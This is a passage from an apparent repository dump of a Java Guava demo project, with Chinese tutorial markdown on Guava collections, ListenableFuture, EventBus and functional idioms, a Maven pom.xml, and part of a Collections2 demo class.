V></td>\n</tr>\n<tr>\n\t<td>columnKeySet()</td>\n\t<td>columnKeySet()返回”列”的集合Set<R></td>\n</tr>\n<tr>\n\t<td>column(r) </td>\n\t<td>用Map<R, V>返回给定”列”的所有行，对这个map进行的写操作也将写入Table中。</td>\n</tr>\n<tr>\n\t<td>cellSet()</td>\n\t<td>用元素类型为Table.Cell<R, C, V>的Set表现Table<R, C, V>。Cell类似于Map.Entry，但它是用行和列两个键区分的。</td>\n</tr>\n</table>\n注: 基于列的访问会比基于的行访问稍微低效点  \n\nTable有如下实现\n<table>\n<tr>\n\t<td>实现</td>\n\t<td>描述</td>\n</tr>\n<tr>\n\t<td>HashBasedTable</td>\n\t<td>本质上用HashMap<R, HashMap<C, V>>实现</td>\n</tr>\n<tr>\n\t<td>TreeBasedTable</td>\n\t<td>本质上用TreeMap<R, TreeMap<C,V>>实现</td>\n</tr>\n<tr>\n\t<td>ImmutableTable</td>\n\t<td>本质上用ImmutableMap<R, ImmutableMap<C, V>>实现；注：ImmutableTable对稀疏或密集的数据集都有优化。</td>\n</tr>\n<tr>\n\t<td>ArrayTable</td>\n\t<td>要求在构造时就指定行和列的大小，本质上由一个二维数组实现，以提升访问速度和密集Table的内存利用率。</td>\n</tr>\n</table>\n\n<h3 id=\"classtoinstancemap\">ClassToInstanceMap</h3>\n\nClassToInstanceMap\\<B> 相当于 Map<Class<? extends B>, B>, 它的键是类型，而值是符合键所指类型的对象。\nClassToInstanceMap额外声明了两个方法：T getInstance(Class<T>) 和T putInstance(Class<T>, T)，从而避免强制类型转换，同时保证了类型安全。  \n\n\n<h3 id=\"rangeset\">RangeSet</h3>\n\nRangeSet描述了一组不相连的、非空的区间。当把一个区间添加到可变的RangeSet时，所有相连的区间会被合并，空区间会被忽略。  \n例如：  \n```java  \nRangeSet<Integer> rangeSet = TreeRangeSet.create();  \nrangeSet.add(Range.closed(1, 10)); // {[1, 10]}  \nrangeSet.add(Range.closedOpen(11, 15)); // 不相连的区间: {[1, 10], [11, 15)} \nrangeSet.add(Range.closedOpen(15, 20)); // 相连的区间; {[1, 10], [11, 20)}\nrangeSet.add(Range.openClosed(0, 0)); // 空区间; {[1, 10], [11, 20)}\nrangeSet.remove(Range.open(5, 10)); // 分割[1, 10]; {[1, 5], [10, 10], [11, 20)}\n```\n\nRangeMap描述了\"不相交的、非空的区间\"到特定值的映射。和RangeSet不同，RangeMap不会合并相邻的映射，即便相邻的区间映射到相同的值。例如：\n```java  \nRangeMap<Integer, String> rangeMap = TreeRangeMap.create();\nrangeMap.put(Range.closed(1, 10), \"foo\"); // {[1, 10] => \"foo\"}\nrangeMap.put(Range.open(3, 6), \"bar\"); // {[1, 3] => \"foo\", (3, 6) => \"bar\", [6, 10] => \"foo\"}\nrangeMap.put(Range.open(10, 20), \"foo\"); // {[1, 3] => \"foo\", (3, 6) => \"bar\", [6, 10] => \"foo\", (10, 20) => \"foo\"}\nrangeMap.remove(Range.closed(5, 11)); // {[1, 3] => \"foo\", (3, 5) => \"bar\", (11, 20) => \"foo\"}\n```\n\n------\n[返回目录](/README.md)"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/collections-utility-classes.md",
    "content": "强大的集合工具类\n===\nGuava提供了很多类似java.util.Collections的静态工具类\n\nGuava中工具类与集合的对应关系如下:\n<table>\n<tr>\n\t<td>集合接口</td>\n\t<td>来自于JDK/Guava</td>\n\t<td>对应的Guava工具类</td>\n</tr>\n<tr>\n\t<td>Collection</td>\n\t<td>JDK</td>\n\t<td>Collections2</td>\n</tr>\n<tr>\n\t<td>List</td>\n\t<td>JDK</td>\n\t<td>Lists</td>\n</tr>\n<tr>\n\t<td>Set</td>\n\t<td>JDK</td>\n\t<td>Sets</td>\n</tr>\n<tr>\n\t<td>SortedSet</td>\n\t<td>JDK</td>\n\t<td>Sets</td>\n</tr>\n<tr>\n\t<td>Map</td>\n\t<td>JDK</td>\n\t<td>Maps</td>\n</tr>\n<tr>\n\t<td>SortedMap</td>\n\t<td>JDK</td>\n\t<td>Maps</td>\n</tr>\n<tr>\n\t<td>Queue</td>\n\t<td>JDK</td>\n\t<td>Queues</td>\n</tr>\n<tr>\n\t<td>Multiset</td>\n\t<td>Guava</td>\n\t<td>Multisets</td>\n</tr>\n<tr>\n\t<td>Multimap</td>\n\t<td>Guava</td>\n\t<td>Multimaps</td>\n</tr>\n<tr>\n\t<td>BiMap</td>\n\t<td>Guava</td>\n\t<td>Maps</td>\n</tr>\n<tr>\n\t<td>Table</td>\n\t<td>Guava</td>\n\t<td>Tables</td>\n</tr>\n</table>\n\n\n* [静态工厂方法](#static-constructor)\n* [Iterables](#iterables)\n* [Lists](#lists)\n* [Sets](#sets)\n* [Maps](#maps)\n* [Multisets](#multisets)\n* [Multimaps](#multimaps)\n* [Tables](#tables)\n\n<h3 id=\"static-constructor\">Static Constructor</h3>\n\nJDK7之前构造一个集合\n> List<TypeThatsTooLongForItsOwnGood> list = new ArrayList<TypeThatsTooLongForItsOwnGood>();\n\nGuava提供了能够推断泛型的静态工厂方法\n> List<TypeThatsTooLongForItsOwnGood> list = Lists.newArrayList();  \n> List<String> theseElements = Lists.newArrayList(\"alpha\", \"beta\", \"gamma\"); //可以直接初始化的静态构造方法  \n> List<Type> exactly100 = Lists.newArrayListWithCapacity(100); //更具可读性的工厂方法  \n> List<Type> approx100 = Lists.newArrayListWithExpectedSize(100); //更具可读性的工厂方法  \n> Set<String> set = Sets.newHashSet();  \n> Set<Type> approx100Set = Sets.newHashSetWithExpectedSize(100);  \n\n<h3 id=\"iterables\">Iterables</h3>\n\n相比于Collection, Guava更偏向于提供Iterable类型, 原因就不写了，网上可以找到  \n大部分的方法都在Iterators和FluentIterable中, 后者提供了很多链式操作  \n\nIterators常用方法\n<table>\n<tr>\n\t<td>方法</td>\n\t<td>描述</td>\n\t<td>参考</td>\n</tr>\n<tr>\n\t<td>concat(Iterable<Iterable>)</td>\n\t<td>串联多个iterables的懒加载视图</td>\n\t<td>concat(Iterable...)</td>\n</tr>\n<tr>\n\t<td>frequency(Iterable, Object)</td>\n\t<td>返回对象在iterable中出现的次数</td>\n\t<td>Collections.frequency(Collection, Object)</td>\n</tr>\n<tr>\n\t<td>partition(Iterable, int)</td>\n\t<td>把iterable按指定大小分割，得到的子集都不能进行修改操作</td>\n\t<td>Lists.partition(List, int);  paddedPartition(Iterable, int)</td>\n</tr>\n<tr>\n\t<td>getFirst(Iterable, T default)</td>\n\t<td>返回iterable的第一个元素，若iterable为空则返回默认值</td>\n\t<td>Iterable.iterator().next();  FluentIterable.first()</td>\n</tr>\n<tr>\n\t<td>getLast(Iterable)</td>\n\t<td>返回iterable的最后一个元素，若iterable为空则抛出NoSuchElementException</td>\n\t<td>getLast(Iterable, T default);  FluentIterable.last()</td>\n</tr>\n<tr>\n\t<td>elementsEqual(Iterable, Iterable)</td>\n\t<td>如果两个iterable中的所有元素相等且顺序一致，返回true</td>\n\t<td>List.equals(Object)</td>\n</tr>\n<tr>\n\t<td>unmodifiableIterable(Iterable)</td>\n\t<td>返回iterable的不可变视图</td>\n\t<td>Collections.unmodifiableCollection(Collection)</td>\n</tr>\n<tr>\n\t<td>limit(Iterable, int)</td>\n\t<td>返回一个尽可能达到指定个数的iterable</td>\n\t<td>FluentIterable.limit(int)</td>\n</tr>\n<tr>\n\t<td>getOnlyElement(Iterable)</td>\n\t<td>获取iterable中唯一的元素，如果iterable为空或有多个元素，则失败</td>\n\t<td>getOnlyElement(Iterable, T default)</td>\n</tr>\n</table>\n\nIterators中也有很多和Collections相似的工具方法，比如addAll、removeAll、retainAll、contains、size、isEmpty等\n\n<h3 id=\"lists\">Lists</h3>\n\n```java  \n// 静态工厂方法  \nLists.newArrayList();  \nLists.newArrayList(1, 2, 3);  \nLists.newArrayList(Sets.newHashSet(1, 2, 3));  \nLists.newArrayListWithCapacity(10);  \nLists.newArrayListWithExpectedSize(10);\n\nLists.newLinkedList();\nLists.newLinkedList(Sets.newHashSet(1, 2, 3));\n\n// 其他工具方法 \nLists.partition(Lists.newArrayList(1, 2, 3, 4, 5), 2);\nLists.reverse(Lists.newArrayList(1, 2, 3, 4, 5));\n```\n\n<h3 id=\"sets\">Sets</h3>\n\n```java  \n// 静态工厂方法  \nSets.newHashSet();  \nSets.newHashSet(1, 2, 3);  \nSets.newHashSetWithExpectedSize(10);  \nSets.newHashSet(Lists.newArrayList(1, 2, 3));  \n\nSets.newLinkedHashSet();  \nSets.newLinkedHashSetWithExpectedSize(10);  \nSets.newLinkedHashSet(Lists.newArrayList(1, 2, 3));  \n\nSets.newTreeSet();  \nSets.newTreeSet(Lists.newArrayList(1, 2, 3));  \nSets.newTreeSet(Ordering.natural());  \n\n// 集合运算(返回SetView)  \nSets.union(Sets.newHashSet(1, 2, 3), Sets.newHashSet(4, 5, 6)); // 取并集[1,2,3,4,5,6]  \nSets.intersection(Sets.newHashSet(1, 2, 3), Sets.newHashSet(3, 4, 5)); // 取交集[3]  \nSets.difference(Sets.newHashSet(1, 2, 3), Sets.newHashSet(3, 4, 5)); // 只在set1, 不在set2[1,2]  \nSets.symmetricDifference(Sets.newHashSet(1, 2, 3), Sets.newHashSet(3, 4, 5)); // 交集取反[1,2,4,5]  \n\n// 其他工具方法  \nSets.cartesianProduct(Lists.newArrayList(Sets.newHashSet(1, 2), Sets.newHashSet(3, 4))); // 返回所有集合的笛卡尔积  \nSets.powerSet(Sets.newHashSet(1, 2, 3)); // 返回给定集合的所有子集\n```\n\n<h3 id=\"maps\">Maps</h3>\n\nMaps除了类似Lists、Sets一样提供基本的静态工厂方法外，还提供了很多其他有意思的方法  \n\n#### uniqueIndex\n\n场景：有一组对象，它们在某个属性上分别有独一无二的值，而我们希望能够按照这个属性值查找对象\n\n> Maps.uniqueIndex(Iterable,Function)\n> 这个方法返回一个Map，键为Function返回的属性值，值为Iterable中相应的元素，因此我们可以反复用这个Map进行查找操作。\n\n示例:\n```java  \nImmutableMap<Integer, String> stringsByIndex = Maps.uniqueIndex(strings, new Function<String, Integer> () {\n    public Integer apply(String string) {\n        return string.length();\n    }\n});\n  \n```\n如果索引值不是独一无二的，请参见下面的Multimaps.index方法。\n\n#### difference\n\nMaps.difference(Map, Map)用来比较两个Map以获取所有不同点, 该方法返回MapDifference对象\n\n```java  \nMap<String, Integer> left = ImmutableMap.of(\"a\", 1, \"b\", 2, \"c\", 3);\nMap<String, Integer> right = ImmutableMap.of(\"b\", 2, \"c\", 4, \"d\", 5);\nMapDifference<String, Integer> diff = Maps.difference(left, right);\n\ndiff.entriesInCommon(); // {\"b\" => 2}, 两个Map中都有的映射项，包括键与值\ndiff.entriesDiffering(); // {\"c\" => (3, 4)}, 键相同但是值不同的映射项。  \n                         // 返回的Map的值类型为MapDifference.ValueDifference，以表示左右两个不同的值\ndiff.entriesOnlyOnLeft(); // {\"a\" => 1}, 键只存在于左边Map的映射项\ndiff.entriesOnlyOnRight(); // {\"d\" => 5}, 键只存在于右边Map的映射项\n\n```\n\n<h3 id=\"multisets\">Multisets</h3>\n\n```java  \ncontainsOccurrences(Multiset sup, Multiset sub); //对任意o，如果sub.count(o)<=super.count(o)，返回true  \nremoveOccurrences(Multiset removeFrom, Multiset toRemove); //对toRemove中的重复元素，仅在removeFrom中删除相同个数  \nretainOccurrences(Multiset removeFrom, Multiset toRetain); //修改removeFrom，以保证任意o都符合removeFrom.count(o)<=toRetain.count(o)  \nintersection(Multiset, Multiset); //返回两个multiset的交集  \ncopyHighestCountFirst(Multiset); //返回Multiset的不可变拷贝，并将元素按重复出现的次数做降序排列  \nunmodifiableMultiset(Multiset); //返回Multiset的只读视图  \nunmodifiableSortedMultiset(SortedMultiset); //返回SortedMultiset的只读视图  \n\n```\n\n<h3 id=\"multimaps\">Multimaps</h3>\n\n#### index\n作为Maps.uniqueIndex的兄弟方法，Multimaps.index(Iterable, Function)通常针对的场景是：有一组对象，它们有共同的特定属性，我们希望按照这个属性的值查询对象，但属性值不一定是独一无二的。\n\n#### invertFrom\n鉴于Multimap可以把多个键映射到同一个值，也可以把一个键映射到多个值，反转Multimap也会很有用。Guava 提供了invertFrom(Multimap toInvert, Multimap dest)做这个操作，并且你可以自由选择反转后的Multimap实现。\n> TreeMultimap<Integer, String> inverse = Multimaps.invertFrom(multimap, TreeMultimap<String, Integer>.create());\n\n#### forMap\nforMap方法把Map包装成SetMultimap, 与Multimaps.invertFrom结合使用，可以把多对一的Map反转为一对多的Multimap。\n```java  \nMap<String, Integer> map = ImmutableMap.of(\"a\", 1, \"b\", 1, \"c\", 2);  \nSetMultimap<String, Integer> multimap = Multimaps.forMap(map);  \n// multimap maps [\"a\" => {1}, \"b\" => {1}, \"c\" => {2}]  \nMultimap<Integer, String> inverse = Multimaps.invertFrom(multimap, HashMultimap.<Integer, String> create());  \n// inverse maps [1 => {\"a\", \"b\"}, 2 => {\"c\"}]\n\n```\n\n<h3 id=\"tables\">Tables</h3>\n\n#### customTable\n\nTables.newCustomTable(Map, Supplier<Map>)允许你指定Table用什么样的map实现行和列。\n```java  \n// use LinkedHashMaps instead of HashMaps\nTable<String, Character, Integer> table = Tables.newCustomTable(\n    Maps.<String, Map<Character, Integer>>newLinkedHashMap(),\n    new Supplier<Map<Character, Integer>> () {\n        public Map<Character, Integer> get() {\n            return Maps.newLinkedHashMap();\n        }\n    }\n);\n\n```\n\n#### transpose\n\ntranspose(Table<R, C, V>)方法允许你把Table<C, R, V>转置成Table<R, C, V>。例如，如果你在用Table构建加权有向图，这个方法就可以把有向图反转。\n\n------\n[返回目录](/README.md)"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/concurrency-listenablefuture.md",
    "content": "并发编程之ListenableFuture\n===\n\n### 背景\n在并发编程方面，JDK提供了Future, 但是使用起来不是很方便，guava提供了ListenableFuture以简化并发的编写.  \nListenableFuture继承自Future.  \n\n### 接口\n\n```java  \ninterface ListenableFuture<V> extends Future<V>   \nvoid addListener(Runnable listener, Executor executor)  \n```\n\n传统的Future: 通过异步的方式计算返回结果，Future是运行中的多线程的一个引用句柄.  \nListenableFuture: 允许注册回调方法, 在运算(多线程执行)完成的时候，使用指定的Executor执行指定的Runnable.  \n\n### 添加回调\n\nguava提供了以下几种方式添加回调  \n\n* ListenableFuture接口上的addLister(Runnbale, Executor)  \n* Futures.addCallback(ListenableFuture<V>, FutureCallback<? super V>, Executor)  \n* Futures.addCallback(ListenableFuture<V>, FutureCallback<? super V>) // 这种情况默认使用MoreExecutors.sameThreadExecutor()线程池\n\nFutureCallback采用轻量级的设计, 只需要实现以下两个方法  \n\n* onSuccess(V) // 在Future成功的时候执行\n* onFailure(Throwable) // 在Future失败的时候执行\n\n### 创建ListenableFuture\n\n传统JDK中创建Future的方式:\n\n```java  \nExecutors.newFixedThreadPool(10).submit(Callable);    \n```\n\nguava中创建ListenableFuture的方式:  \n\n```java  \nMoreExecutors.listeningDecorator(ExecutorService).submit(Callable);  \n```\n\n完整的ListenableFuture使用示例:\n\n```java  \n// 创建ListeningExecutorService\nListeningExecutorService service = MoreExecutors.listeningDecorator(Executors.newFixedThreadPool(10));\n\n// 添加执行操作\nListenableFuture explosion = service.submit(new Callable() {\n  public Explosion call() {\n    return pushBigRedButton();\n  }\n});\n\n// 添加回调\nFutures.addCallback(explosion, new FutureCallback() {\n  // 操作执行完成后，执行onSuccess\n  public void onSuccess(Explosion explosion) {\n    walkAwayFrom(explosion);\n  }\n  public void onFailure(Throwable thrown) {\n    battleArchNemesis(); // escaped the explosion!\n  }\n});\n```\n\n当然，还有其他方式来创建，比如:\n\n```java  \n// 类似JDK的FutureTask模式\nListenableFutureTask.create(Callable<V>);\n\n// 将其他API提供的Future转换为ListenableFuture\nJdkFutureAdapters.listenInPoolThread(Future);  \n```\n\n### 使用\n\nguava还提供了一些支持链式操作的API\n\n```java  \nFutures.transform(ListenableFuture<A>, AsyncFunction<A, B>, Executor);  \nFutures.transform(ListenableFuture<A>, Function<A, B>, Executor);  \nFutures.allAsList(Iterable<ListenableFuture<V>>);  \nFutures.successfulAsList(Iterable<ListenableFuture<V>>);  \n```\n\n\n------\n[返回目录](/README.md)"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/concurrency-service.md",
    "content": "并发编程之Service框架\n===\n\n------\n[返回目录](/README.md)"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/eventbus.md",
    "content": "事件总线EventBus\n===\n\n### 背景\n\nJDK中通过Observer接口和Observable类实现观察者模式, Observer对象是观察者，Observable对象是被观察者.  \n\n实现一个简单的观察者模式有以下几步:\n\n1. 创建被观察者, 继承自java.util.Observable类\n2. 创建观察者, 实现java.util.Observer接口\n3. 在观察者中实现void update(java.util.Observable observable, java.lang.Object o)方法\n4. 在被观察者对象上添加观察者Observable.addObserver(observer)\n5. 当被观察事件发生时，执行以下代码  \n6. setChanged(); // 内部标志，注明数据发生了变化\n7. notifyObservers(); // 调用观察者对象列表中所有的Observer的update()方法, 通知它们数据变化了\n\n这种方式是通过发布者和订阅者之间的显式注册实现的.  \nguava的EventBus就是为了取代这种显示注册方式，使组件间有更好的解耦.  \nEventBus不适用于进程间通信。\n\n### 示例\n\n消息封装类: 任意的Java对象均可  \n```java  \npublic class LogEvent {\n\n\tprivate String log;\n\t\n\t// setter、getter\n}\n```\n\n消息接收类: 任意的Java对象均可, 只需要在接收方法上添加注解@Subscribe即可  \n```java  \npublic class LogEventListener {\n\n\t@Subscribe\n\tpublic void listen(LogEvent log) {\n\t\t// handle log\n\t}\n\n}\n```\n\n消息发布  \n```java  \n// 事件总线\nEventBus eventBus = new EventBus();\n// 事件监听者\nLogEventListener logEventListener = new LogEventListener();\n// 注册监听\neventBus.register(logEventListener)\n// 发布消息\neventBus.post(new LogEvent(\"测试\"));\n```\n\n### 解析\n\nEventBus中主要包括以下几个角色:  \n\n* 事件: 可以向事件总线发布的消息\n* 监听者: 提供一个处理方法, 通过参数声明希望接受和处理事件对象，实现自己的处理逻辑\n* 事件总线: 可以理解为消息传输的渠道，所有在当前事件总线上注册了的监听者都会收到来自于当前事件总线、与监听者所声明的期望类型一致(支持继承关系)的消息\n\n同步发布事件: EventBus.post(Object)  \n异步发布事件: AsyncEventBus.post(Object)  \n\nguava并未将EventBus设计为单例, 所以可以根据实际情况使用\n\n### DeadEvent\n\nEventBus会将所有发布后，没有监听者处理的事件包装为DeadEvent, 可以通过监听该类型的消息来检测哪些消息未指明监听者\n\n### 监听多个消息\nEventBus中，可以支持同一个监听者监听多个消息，只需要在每个订阅消息的方法上加上@Subscribe注解即可  \n\n```java  \n    @Subscribe  \n    public void listenInteger(Integer event) {  \n        lastInteger = event; \n        System.out.println(\"event Integer:\"+lastInteger);\n    }  \n   \n    @Subscribe  \n    public void listenLong(Long event) {  \n        lastLong = event; \n        System.out.println(\"event Long:\"+lastLong);\n    }  \n```\n\n### 单例使用\n\n在简单情况下，可以将EventBus声明为全局唯一的单例, 并可以通过Spring完成自动注册, 这样将进一步简化使用\n\n示例:  \n\nEventBus工厂\n```java  \npublic class EventBusFactory {\n\n\tprivate static final EventBusFactory factory = new EventBusFactory();\n\n\tprivate final EventBus eventBus;\n\n\tprivate EventBusFactory() {\n\t\teventBus = new AsyncEventBus(\"AsyncEventBus\", Executors.newFixedThreadPool(5));\n\t}\n\n\tpublic static final EventBusFactory getDefault() {\n\t\treturn factory;\n\t}\n\n\tpublic EventBus eventBus() {\n\t\treturn eventBus;\n\t}\n\n}\n```\n\n通过spring自动注册  \n```java  \n@Service  \npublic class EventBusPostProcessor implements BeanPostProcessor {  \n\n\t@Override\n\tpublic Object postProcessBeforeInitialization(Object bean, String beanName) throws BeansException {\n\t\treturn bean;\n\t}\n\n\t@Override\n\tpublic Object postProcessAfterInitialization(Object bean, String beanName) throws BeansException {\n\t\t// for each method in the bean\n\t\tMethod[] methods = bean.getClass().getMethods();\n\t\tfor (Method method : methods) {\n\t\t\t// check the annotations on that method\n\t\t\tAnnotation[] annotations = method.getAnnotations();\n\t\t\tfor (Annotation annotation : annotations) {\n\t\t\t\t// if it contains the Subscribe annotation\n\t\t\t\tif (annotation.annotationType().equals(Subscribe.class)) {\n\t\t\t\t\t// 检查到bean声明了Guava EventBus Subscribe注解, 则自动注册到全局的EventBus上\n\t\t\t\t\tEventBusFactory.getDefault().eventBus().register(bean);\n\t\t\t\t\tLOGGER.info(\"Bean \" + beanName + \"  was subscribed to EventBus\");\n\t\t\t\t\t// we only need to register once\n\t\t\t\t\treturn bean;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn bean;\n\t}\n\n}\n```\n\n发布消息  \n```java  \nEventBusFactory.getDefault().eventBus().post(new LogEvent(log));\n```\n\n通过这种方式，只需要编写监听者即可，无需关心注册\n\n------\n[返回目录](/README.md)"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/functional-idioms.md",
    "content": "函数式\n===\n\n### 注意!注意!注意!\n\nJava中一切皆对象，唯函数不算!  \nJava 7以前, Java中只能通过笨拙冗长的匿名类来达到近似函数式编程的效果。  (Java 8引入了Lambda表达式)  \n\n> 过度使用Guava函数式编程会导致冗长、混乱、可读性差而且低效的代码。  \n> 如果你想通过函数式风格达成一行代码，致使这行代码长到荒唐，Guava团队会泪流满面。  \n> 请务必确保，当使用Guava函数式的时候，用传统的命令式做同样的事情不会更具可读性。  \n> 总之，不要盲目使用函数式!!!\n\n比较一下这种场景:  \n\n函数式\n```java  \nFunction<String, Integer> lengthFunction = new Function<String, Integer>() {\n    public Integer apply(String string) {\n        return string.length();\n    }\n};\nPredicate<String> allCaps = new Predicate<String>() {\n    public boolean apply(String string) {\n        return CharMatcher.JAVA_UPPER_CASE.matchesAllOf(string);\n    }\n};\nMultiset<Integer> lengths = HashMultiset.create(\n     Iterables.transform(Iterables.filter(strings, allCaps), lengthFunction));\n```\n\n函数式2\n```java  \nMultiset<Integer> lengths = HashMultiset.create(\n    FluentIterable.from(strings)\n        .filter(new Predicate<String>() {\n            public boolean apply(String string) {\n                return CharMatcher.JAVA_UPPER_CASE.matchesAllOf(string);\n            }\n        })\n        .transform(new Function<String, Integer>() {\n            public Integer apply(String string) {\n                return string.length();\n            }\n        }));\n```\n\n命令式\n```java  \nMultiset<Integer> lengths = HashMultiset.create();\nfor (String string : strings) {\n    if (CharMatcher.JAVA_UPPER_CASE.matchesAllOf(string)) {\n        lengths.add(string.length());\n    }\n}\n```\n\n### Functions[函数]和Predicates[断言]\n\n\n------\n[返回目录](/README.md)\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/hash.md",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/io.md",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/math.md",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/networking.md",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/primitives.md",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/ranges.md",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/reflection.md",
    "content": ""
  },
  {
    "path": "jun_java_plugins/jun_guava/doc/strings.md",
    "content": "字符串工具类\n===\n\n### 连接器(Joiner)\n\n### 拆分器(Splitter)\n\n### 字符串匹配(CharMatcher)\n\n### 字符集(Charsets)\n\n### 大小写格式(CaseFormat)\n\n------\n[返回目录](/README.md)"
  },
  {
    "path": "jun_java_plugins/jun_guava/guava.md",
    "content": "\n        ImmutableList<String> list = ImmutableList.of(\"1\", \"2\");\n        List lists = Lists.newArrayList(\"abc\",\"abcd\",\"123\");\n        System.err.println(Joiner.on(\",\").join(lists));\n        Map map = Maps.newHashMap();\n        Set set = Sets.newHashSet(\"1\", \"2\");\n        ImmutableMap<String, String> map2 = ImmutableMap.of(\"key1\", \"value1\", \"key2\", \"value2\");\n        System.err.println(Joiner.on(\",\").withKeyValueSeparator(\"=\").join(map2));\n//        System.err.println(map2.get(\"key2\"));\n//        map.forEach((key,value)->{System.out.println(key+\"\"+value);});\n       \n        Multimap<String, String> m = ArrayListMultimap.create();\n        m.put(\"a\", \"1\");\n        m.put(\"a\", \"2\");\n        m.forEach((key,value)->{System.out.println(key+\"-\"+value);});\n//        System.err.println(m.get(\"a\"));\n       \n        Stopwatch sw = Stopwatch.createStarted();\n        String str = \"1-2-3-4-5-6\";\n        System.err.println(Splitter.on(\"-\").splitToList(str));\n        String str2 = \"xiaoming=11,xiaohong=23\";\n        System.err.println(Splitter.on(\",\").withKeyValueSeparator(\"=\").split(str2));\n        Strings.isNullOrEmpty(\"\");\n//        List<String> list = Splitter.on(\"-\").splitToList(str);\n        long time = sw.elapsed(TimeUnit.MILLISECONDS);\n        System.err.println(time);\n        Thread.currentThread().sleep(500);\n        time = sw.elapsed(TimeUnit.MILLISECONDS);\n        System.err.println(time);"
  },
  {
    "path": "jun_java_plugins/jun_guava/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_guava</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t</properties>\n\n\t<modules>\n\t\t<!-- <module>jun_captcha_code</module> -->\n\t</modules>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>16.0.1</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jdk-1.8</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<jdk>1.8</jdk>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/main/java/com/jun/plugin/guava/GuavaCollections2.java",
    "content": "package com.jun.plugin.guava;\n\nimport static java.lang.System.out;\n\nimport com.google.common.base.Predicates;\nimport com.google.common.collect.Collections2;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.Set;\n\n/**\n * Class whose sole reason for existence is to demonstrate Guava's Collections2\n * class.\n * \n * @author Dustin\n * @see http://marxsoftware.blogspot.com/2011/10/filtering-and-transforming-java.html\n */\npublic class GuavaCollections2 {\n\n    /**\n     * Provides a Set of Strings.\n     * \n     * @return Set of strings representing some programming languages.\n     */\n    private static Set<String> buildSetStrings() {\n        final Set<String> strings = new HashSet<String>();\n        strings.add(\"Java\");\n        strings.add(\"Groovy\");\n        strings.add(\"Jython\");\n        strings.add(\"JRuby\");\n        strings.add(\"Python\");\n        strings.add(\"Ruby\");\n        strings.add(\"Perl\");\n        strings.add(\"C\");\n        strings.add(\"C++\");\n        strings.add(\"C#\");\n        strings.add(\"Pascal\");\n        strings.add(\"Fortran\");\n        strings.add(\"Cobol\");\n        strings.add(\"Scala\");\n        strings.add(\"Clojure\");\n        strings.add(\"Basic\");\n        strings.add(\"PHP\");\n        strings.add(\"Flex/ActionScript\");\n        strings.add(\"JOVIAL\");\n        return strings;\n    }\n\n    /**\n     * Demonstrate Guava's Collections2.filter method. Filter String beginning\n     * with letter 'J'.\n     */\n    public static void demonstrateFilter() {\n        printHeader(\"Collections2.filter(Collection,Predicate): 'J' Languages\");\n        final Set<String> strings = buildSetStrings();\n        out.println(\"\\nOriginal Strings (pre-filter):\\n\\t\" + strings);\n        final Collection<String> filteredStrings = Collections2.filter(strings,\n                Predicates.containsPattern(\"^J\"));\n        out.println(\"\\nFiltered Strings:\\n\\t\" + filteredStrings);\n        out.println(\"\\nOriginal Strings (post-filter):\\n\\t\" + strings);\n    }\n\n    /**\n     * Demonstrate Guava's Collections2.transform method. Transform input\n     * collection's entries to uppercase form.\n     */\n    public static void demonstrateTransform() {\n        printHeader(\"Collections2.transform(Collection,Function): Uppercase\");\n        final Set<String> strings = buildSetStrings();\n        out.println(\"\\nOriginal Strings (pre-transform):\\n\\t\" + strings);\n        final 